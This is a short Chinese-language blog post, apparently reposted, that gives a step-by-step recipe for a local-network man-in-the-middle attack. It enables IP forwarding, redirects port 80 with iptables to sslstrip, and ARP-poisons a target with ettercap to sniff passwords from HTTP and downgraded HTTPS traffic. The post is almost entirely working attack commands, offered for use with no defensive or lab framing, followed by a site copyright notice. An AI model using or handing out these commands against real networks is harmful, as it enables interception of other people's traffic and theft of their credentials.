Ettercap是一个非常强大的嗅探欺骗工具;在以往的ettercap的使用过程中,我们大多用来嗅探http,ftp,和一些加密比较简单的邮箱等 的密码,对于新型的ssl/https等的加密协议就显得不是太完美;这里我们使用一款专门针对ssl/https加密协议的工具配合Ettercap进 行局域网嗅探欺骗:sslstrip。
1.开启转发:
echo "1">/proc/sys/net/ipv4/ip_forward
2.iptables过滤数据包
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000
3.监听转发端口
sslstrip -l 10000
4.arp嗅探
ettercap -T -q -i wlan0 -M arp:remote /ip/ //
-文章来自互联网

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。